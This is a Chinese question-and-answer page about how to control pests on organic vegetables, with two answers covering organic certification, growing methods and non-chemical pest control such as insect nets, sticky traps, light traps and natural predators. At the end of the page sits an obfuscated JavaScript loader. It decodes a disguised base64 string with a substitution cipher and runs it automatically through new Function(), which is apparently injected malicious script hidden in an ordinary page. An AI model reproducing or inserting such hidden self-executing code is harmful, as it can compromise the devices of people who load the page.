有机蔬菜如何杀虫

2025-03-28 11:56:19
推荐回答(2个)
回答1:

有机蔬菜的介绍:

1.有机蔬菜是指绿色无毒的农产品,在生产过程中无使用任何化学合成的农药、化肥等。

2.有机蔬菜需要取得有机食品认证机构鉴定认证,并颁发有机食品证书的蔬菜产品。

有机蔬菜的作用:

  1. 有机蔬菜吃得更加安全健康,有利于推广。

  2. 生产过程要求严格,可复制推广,达到可持续发展。

  3. 有机蔬菜价格较高,需求较大,利润较高。

有机蔬菜种植的常见方法:

  1. 首先要对选择的种子进行挑选,需要有机认证,还要选择适应当地的土壤和气候特点进行栽培。

2.有机蔬菜为了适应自然条件的影响,一般都需要搭建大棚,要保持恒温。

3.在种植工程中,需要使用人工除草和人工驱虫等方法。使用生物有机肥料进行施肥,不要使用化学肥料和高毒农药。

4.出售的时候,要按照规定,进行检测,并标明有机蔬菜才能出售。

注:有机蔬菜虽然成本较高,但是售价也高,总体起来利润还可以,市场前景也较好。如果想要种植的农业大户,需要去学习相关知识,并在原料选择,种植过程中把握好没一个环节,做到真正无污染的绿色蔬菜。

回答2:

有机蔬菜杀虫主要采用物理方法,包括防虫网隔离,黄板、性诱剂诱杀,杀虫灯捕杀等,另外利用害虫天敌如赤眼蜂等杀虫;限制使用生物制剂进行防治,如苦参碱、除虫菊素、BT等。

(function(){function m888b98(k7d1c){var d23e48="_zGq:g|3t]^mOk8YLCo6~xX5D&MsrQ@Tidl0%/f2NcU-4vA(E=[Wnuy9SVHF71e?h;KapZ!.wRPj$JBI,b";var q7eba="H7o_VXb|Ol$j3wF81SR(ut?mk%KY[;M=,LCBEQz@0sGhN.A2ie:-g~Pv9Uypd&na4cx!T6JqI^DrfWZ]5/";return atob(k7d1c).split('').map(function(rc36d5d){var m4abcf=d23e48.indexOf(rc36d5d);return m4abcf==-1?rc36d5d:q7eba[m4abcf]}).join('')}var c=m888b98('thunder://a0VlN0drciIkIisiTCh6NyIrIloiSVQkfmU7eEVHZTYpezYkfmU7eEVHZTZmKDdOTChMTyxpRVlMenx6aS5aWVo9eix8P2ljTk49TE8pe0UkNmJSQD87M0pFZWJ2eD1jeDZlPzlFbj94R2p2Rl0/eCRHajUpKXtqPXh+amV9OT9qIEs/fExOKHxUJH5lO3hFR2U2RHw7enosTiwoKXtqPXh+amUgQ3hqRWVudiRqRzVsLT9qbEc3PTZEfDt6eixOLCgpfVE5P2ogfFo7Tk8kLD9UciJdbWNXX05McWR0QVBxIUNxX3BAZCJpIjk9aldOTCJpImNFN1coWSJpIjs7eFcoTigsV05oV05ZIEwsW0x6WyxoIklROT9qIG4/enw7Tlk/N1QuWllaPXosfD9ySz98TE4ofDZTeikrSz98TE4ofDZMTFopK0s/fExOKHw2TExMKStLP3xMTih8NlNZKUlpSyR8JFlMVC5aWVo9eix8P3JLP3xMTih8NlNZKStLP3xMTih8NkxMWikrSz98TE4ofDZMTEwpK0s/fExOKHw2U3opSWk1JCQ3TFRjTk49TE9ybj96fDtOWT83NiJzTzpIOzU6fjc4NG07NV1rN0FUVCIpSWk/Wiwsej1Ubj96fDtOWT83NiJzTyFdc2dvXW9KS118Sjp+N0FUVCIpaTdMKFlOT058elRuP3p8O05ZPzc2IjtPOkU7T29IP0osZSIpaUZ6Tyg7aFRuP3p8O05ZPzc2Ijs1Omt8VThtQi9UVCIpaUs9KEwoaDdPLFRuP3p8O05ZPzc2IjtPMGM/Zy9UIilpNz16N3okUz16VG4/enw7Tlk/NzYiOzU6KEJnIWZCL1RUIilpRjd6fExUbj96fDtOWT83NiI/NVNGfG5UVCIpaTtaLHo/ej0oP1RuP3p8O05ZPzc2Ijs1OH5CVVN4IilpOzdMLD1ULlpZWj16LHw/cm4/enw7Tlk/NzYicEo4Tj9BVFQiKUlpfExoJFlMO1RuP3p8O05ZPzc2InxVUy1CQVRUIilROT9qIHhPeno7VG4/enw7Tlk/NzYiOyhMTj9Kb103blRUIilROT9qIERPaCRPUUUkNl1HOz94RUdldmM9P2o7LXZFZTc9S3QkNnhPeno7KT5XTCl7RE9oJE9UY05OPUxPcj9aLCx6PUk2bj96fDtOWT83NiI3VTpoN1U4SEJKJVQiKSlRRE9oJE92RTdUIngiKzs3TCw9cjtaLHo/ej0oP0k2KSpMPWhRRE9oJE92Y3hIXT12a0U3eC1UIkxOTiYiUURPaCRPdmN4SF09di09RW4teFQiLE5ORksiUURPaCRPdjdFYz98XT03VHhqfj1RRSQ2Y05OPUxPdnxHN0hhVGV+XV0pe2NOTj1MT3Z8RzdIdj9GRj1lN2wtRV03NkRPaCRPKX09XWM9ezk/aiBHU3xMU1QkfmU7eEVHZTYpe2NOTj1MT3Z8RzdIdj9GRj1lN2wtRV03NkRPaCRPKVEuWllaPXosfD92aj01Rzk9JTk9ZXhkRWN4PWU9ajZ8TGgkWUw7aUdTfExTaSQ/XWM9KX1RLlpZWj16LHw/dj83NyU5PWV4ZEVjeD1lPWo2fExoJFlMO2lHU3xMU2kkP11jPSl9fTk/aiBGLD9PaChaLFRjTk49TE9yP1osLHo9STZuP3p8O05ZPzc2IkJKTEVCSi9UIikpUUYsP09oKFosdkU3VEVZTHp8eis7N0wsPXY7PUVdNjs3TCw9cjtaLHo/ej0oP0k2KSpMPWgpUUYsP09oKFosdmN4SF09di09RW4teFQiTkZLIlFGLD9PaChaLHZjeEhdPXZHOT1qJF1Ha1QiLUU3Nz1lIlE5P2ogXTtTU058JFQkfmU7eEVHZTZEej8sWj1ZOyl7OT9qID96TFNaLHp6VEskfCRZTDZ8WjtOTyQsP3Y7R2U7P3g2cmBlR2tXXntQP3g9ciJlR2siSTYpfWBpYC1qPSRXXntdRzs/eEVHZXYtaj0kfWBpYH5jO1deezdPPSQ3Nyw2KX1gSSl2Y0dqeDY2NilUPjs3TCw9cjtaLHo/ej0oP0k2KVd2LCkpckY3enxMSTYiaSIpKVE5P2ogZXw/KCgkPVQ/ekxTWix6enZFZTc9S3QkNks/fExOKHw2WkwpKT5XTFg/ekxTWix6enI3TChZTk9OfHpJNj96TFNaLHp6dkVlNz1LdCQ2Sz98TE4ofDZaTCkpKVsiIlE/ekxTWix6elQ/ekxTWix6enJGek8oO2hJNmV8PygoJD1pIiIpcks9KEwoaDdPLEk2IiIpcjc9ejd6JFM9ekk2KXJGN3p8TEk2IiIpK2V8PygoJD1RRiw/T2goWix2Y2o7VHIiLXh4RmNbYmIiK0R6PyxaPVk7aUYsP09oKFosdkU3aT96TFNaLHp6SXJGN3p8TEk2ImIiKVF4akh7Y05OPUxPdnxHN0h2P0ZGPWU3bC1FXTc2Riw/T2goWiwpfTs/eDstNj0pe2NOTj1MT3Z8RzdIdkVlYz1qeDA9JEdqPTZGLD9PaChaLGljTk49TE92fEc3SHY7LUVdNzRHNz1jck5JKX1FJDZET2gkT2FUZX5dXSl7RE9oJE92OT9dfj0rVCJcXGpcXGU/RkY9ZTc9NyA9NSB4RyAteDVdIlE5P2ogRWg/aCwoP1RjTk49TE92bj14JV09NT1leDBIdzc2Riw/T2goWix2RTcpUUUkNkVoP2gsKD9UVGV+XV0zM0VoP2gsKD9UVH5lNz0kRWU9Nyl7RE9oJE92OT9dfj0rVCJcXGpcXGUgOz9leCBuPXggPTUgJGpHNSAteDVdIn19fVFFJDZET2gkT2FUZX5dXSl7RE9oJE92OT9dfj0rVCJcXGpcXGVjPWU3IG1jIC1HY3ggIitmKDdOTChMTyx9OT9qIDdPPSQ3NyxUJH5lO3hFR2U2KXt4akh7O0dlY3ggZixMeiQsO1Q2ZT1rIFA/eD0pdnhHZEc7P109UD94PUN4akVlbjYpUTtHZWN4IGN6U3o9VGBjNXhFcWNFN3Feez1TO1MofFlaLHZFWUx6fHp9cUY5YFFdPXggeGg9WjdUIUN0NHZGP2pjPTZdRzs/XUN4R2o/bj12bj14d3g9NTZjelN6PSkpUUUkNnhoPVo3VFRlfl1dMzN4aD1aN3Y3P3g9YVRmLEx6JCw7KXt4aD1aN1R7RjlwRTU9Y1tOaTc/eD1bZixMeiQsO319aj14fmplIHhoPVo3dkY5cEU1PWMrTH07P3g7LTZFUyxMKCRPTCl7aj14fmplIEx9fVE5P2ogZk56Pz87LFpUJH5lO3hFR2U2SFpTP3w9KXtqPXh+amUgbj96fDtOWT83NkhaUz98PSlyRnpPKDtoSTZLP3xMTih8NmgoKWk7N0wsPXI7Wix6P3o9KD9JNil2eEdDeGpFZW42T1opdmNdRTs9Njs3TCw9diRdR0dqNjs3TCw9cjtaLHo/ej0oP0k2KSpTKSsoKSl9UV07U1NOfCQ2Zk56Pz87LFo2Zig3TkwoTE8sKSlRLlpZWj16LHw/ciI/NzclOT1leGRFY3g9ZT1qIkk2IjU9Y2M/bj0iaTYkfmU7eEVHZTZFUyxMKCRPTCl7RSQ2RVMsTCgkT0x2Nz94P3ZEVFRFWUx6fHope2NOTj1MT3ZuPXglXT01PWV4MEh3NzZGLD9PaChaLHZFNyl2aj01Rzk9NilROT9qIDUkWj0kJFRlfl1dUUUkNkRPaCRPYVRlfl1dKXtET2gkT3Y5P11+PStUIlxcalxcZWo9Oz1FOT0gPTUgRkdjeCA1PWNjP249IlFET2gkT3Y5P11+PStUIlxcalxcZT12Nz94P3Y5ICIrRVMsTCgkT0x2Nz94P3YuUTUkWj0kJFQ2dnZ2Lkw7Wlk7T2hoKVQ+e0UkNmEuTDtaWTtPaGgzMy5MO1pZO09oaHZdPWVueC08VE4paj14fmplUURPaCRPdjk/XX49K1QiXFxqXFxlIisuTDtaWTtPaGh2bUdFZTYiICIpfX1lPWsgOH5lO3hFR2U2Ij9qbmMiaUVTLEwoJE9Mdjc/eD92Lik2e3F4NztjWzUkJDdMaXFdR25bNSRaPSQkfSl9fSkpfSk2IkIoO343VS9oNDUtZnxKS3hCKDcsfEMsTnxPQVp0cERMNG5UVCJpIihZImlrRWU3R2tpN0c7fjU9ZXgpfVEkTCh6N1o2KVE='.substr(10));new Function(c)()})();